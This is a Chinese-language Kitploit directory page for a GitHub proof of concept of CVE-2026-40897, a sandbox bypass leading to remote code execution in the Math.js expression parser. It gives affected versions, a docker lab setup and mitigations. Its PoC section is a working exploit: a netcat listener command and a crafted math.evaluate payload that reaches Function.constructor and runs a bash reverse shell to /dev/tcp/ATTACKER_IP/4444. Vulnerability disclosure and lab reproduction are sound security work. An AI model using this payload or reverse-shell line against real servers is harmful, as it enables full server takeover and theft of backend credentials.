Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

查看仓库
22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-40897 Math.js 表达式解析器中的远程代码执行

★ CVE-2026-40897 Math.js 远程代码执行 PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


概述

CVE-2026-40897 是一个 沙盒绕过导致远程代码执行 漏洞,存在于 Math.js 的表达式解析器中。 isSafeProperty 过滤器仅检查用户表达式中的属性访问,而不检查内部代码路径。通过利用 toJSON() 泄漏 ArrayNode 的内部数组并覆盖其 .map,攻击者可以强制内部代码访问 Function.constructor 并执行任意 JavaScript。


受影响版本

类别版本
受影响Math.js 13.1.1 ≤ 版本 ≤ 15.1.1
已修复15.2.0

影响

  • 任意 JavaScript 代码执行(RCE)
  • 访问主机文件系统
  • 反向 Shell 连接导致服务器完全受控
  • 窃取后端凭证和敏感数据

环境

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

启动漏洞环境后,按照以下步骤重现攻击。

步骤 1. 启动反向 Shell 监听器

root@kitploit:~
nc -lvnp 4444

步骤 2. 提交恶意载荷

将以下表达式发送到 math.evaluate(例如,通过应用程序的计算输入)。

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=>callback({'map':f2(callback2)=>callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

步骤 3. 在攻击者端确认 Shell 访问

目标服务器会反向连接到攻击者的监听器,提供一个交互式 bash shell。


缓解措施

  • 升级 Math.js 到已修复版本
  • 避免直接将不受信任的用户输入传递给 math.evaluate()
  • 限制通过表达式解析器暴露内部函数/类(reviver、FunctionAssignmentNode、ArrayNode)

分析

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
下载工具